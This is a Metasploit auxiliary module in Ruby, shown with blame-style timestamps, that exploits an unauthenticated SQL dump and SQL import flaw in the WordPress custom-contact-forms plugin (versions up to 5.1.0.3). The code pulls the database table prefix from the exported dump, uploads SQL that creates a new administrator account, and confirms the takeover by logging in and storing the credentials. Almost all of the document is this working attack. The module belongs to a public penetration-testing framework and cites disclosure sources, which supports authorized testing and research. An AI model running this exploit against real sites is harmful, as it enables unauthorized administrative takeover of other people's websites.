2014-09-27 13:42:49 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-09-27 13:42:49 +02:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Auxiliary
2014-09-27 13:42:49 +02:00
include Msf :: Auxiliary :: Report
2015-10-15 11:47:13 -05:00
include Msf :: Exploit :: Remote :: HTTP :: Wordpress
2014-09-27 13:42:49 +02:00
def initialize ( info = { } )
2023-02-08 14:30:08 +00:00
super (
update_info (
info ,
'Name' = > 'WordPress custom-contact-forms Plugin SQL Upload' ,
'Description' = > %q{
2014-09-27 13:42:49 +02:00
The WordPress custom-contact-forms plugin <= 5.1.0.3 allows unauthenticated users to download
a SQL dump of the plugins database tables. It's also possible to upload files containing
2014-10-01 14:26:09 -05:00
SQL statements which will be executed. The module first tries to extract the WordPress
2014-09-27 13:42:49 +02:00
table prefix from the dump and then attempts to create a new admin user.
2023-02-08 14:30:08 +00:00
} ,
'Author' = > [
2014-09-27 13:42:49 +02:00
'Marc-Alexandre Montpas' , # Vulnerability discovery
'Christian Mehlmauer' # Metasploit module
] ,
2023-02-08 14:30:08 +00:00
'License' = > MSF_LICENSE ,
'References' = > [
2014-09-27 13:42:49 +02:00
[ 'URL' , 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html' ] ,
2014-10-02 23:03:31 +02:00
[ 'URL' , 'https://plugins.trac.wordpress.org/changeset?old_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.3&old=997569&new_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.4&new=997569&sfp_email=&sfph_mail=' ] ,
2014-10-03 17:13:18 +02:00
[ 'WPVDB' , '7542' ]
2014-09-27 13:42:49 +02:00
] ,
2023-02-08 14:30:08 +00:00
'DisclosureDate' = > '2014-08-07'
)
)
2014-09-27 13:42:49 +02:00
end
def get_sql ( table_prefix , username , password )
# create user
sql = " INSERT INTO #{ table_prefix } users (user_login, user_pass) VALUES (' #{ username } ',' #{ Rex :: Text . md5 ( password ) } '); "
# make user administrator
2014-09-30 00:21:52 +02:00
sql << " INSERT INTO #{ table_prefix } usermeta (user_id, meta_key, meta_value) VALUES ((select id from #{ table_prefix } users where user_login=' #{ username } '),' #{ table_prefix } capabilities','a:1:{s:13: \" administrator \" ;b:1;}'),((select id from #{ table_prefix } users where user_login=' #{ username } '),' #{ table_prefix } user_level','10'); "
2014-09-27 13:42:49 +02:00
sql
end
def get_table_prefix
res = send_request_cgi ( {
2023-02-08 14:30:08 +00:00
'uri' = > wordpress_url_admin_post ,
'method' = > 'POST' ,
2014-09-27 13:42:49 +02:00
'vars_post' = > {
2023-02-08 14:30:08 +00:00
'ccf_export' = > '1'
2014-09-27 13:42:49 +02:00
}
} )
return nil if res . nil? || res . code != 302 || res . headers [ 'Location' ] !~ / \ .sql$ /
file = res . headers [ 'Location' ]
res_file = send_request_cgi ( 'uri' = > file )
return nil if res_file . nil? || res_file . code != 200 || res_file . body . nil?
match = res_file . body . match ( / insert into `(.+_)customcontactforms_fields` /i )
2014-09-27 14:56:34 +02:00
return nil if match . nil? || match . length < 2
2014-09-27 13:42:49 +02:00
table_prefix = match [ 1 ]
table_prefix
end
def run
username = Rex :: Text . rand_text_alpha ( 10 )
password = Rex :: Text . rand_text_alpha ( 20 )
2023-02-08 14:30:08 +00:00
print_status ( 'Trying to get table_prefix' )
2014-09-27 13:42:49 +02:00
table_prefix = get_table_prefix
if table_prefix . nil?
2023-02-08 14:30:08 +00:00
print_error ( 'Unable to get table_prefix' )
2014-09-27 13:42:49 +02:00
return
else
2016-02-01 16:06:34 -06:00
print_status ( " got table_prefix ' #{ table_prefix } ' " )
2014-09-27 13:42:49 +02:00
end
data = Rex :: MIME :: Message . new
data . add_part ( get_sql ( table_prefix , username , password ) , 'text/plain' , nil , " form-data; name= \" import_file \" ; filename= \" #{ Rex :: Text . rand_text_alpha ( 5 ) } .sql \" " )
data . add_part ( '1' , nil , nil , 'form-data; name="ccf_merge_import"' )
post_data = data . to_s
2016-02-01 16:06:34 -06:00
print_status ( " Inserting user #{ username } with password #{ password } " )
2014-09-27 13:42:49 +02:00
res = send_request_cgi (
2023-02-08 14:30:08 +00:00
'method' = > 'POST' ,
'uri' = > wordpress_url_admin_post ,
'ctype' = > " multipart/form-data; boundary= #{ data . bound } " ,
'data' = > post_data
2014-09-27 13:42:49 +02:00
)
if res . nil? || res . code != 302 || res . headers [ 'Location' ] != 'options-general.php?page=custom-contact-forms'
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Upload failed " )
end
# test login
cookie = wordpress_login ( username , password )
2017-05-01 15:52:53 -05:00
# login successful
2014-09-27 13:42:49 +02:00
if cookie
2017-07-19 12:48:52 +01:00
print_good ( " User #{ username } with password #{ password } successfully created " )
2017-05-05 18:23:15 -05:00
store_valid_credential ( user : username , private : password , proof : cookie )
2014-09-27 13:42:49 +02:00
else
2023-02-08 14:30:08 +00:00
print_error ( 'User creation failed' )
2014-09-27 13:42:49 +02:00
return
end
end
end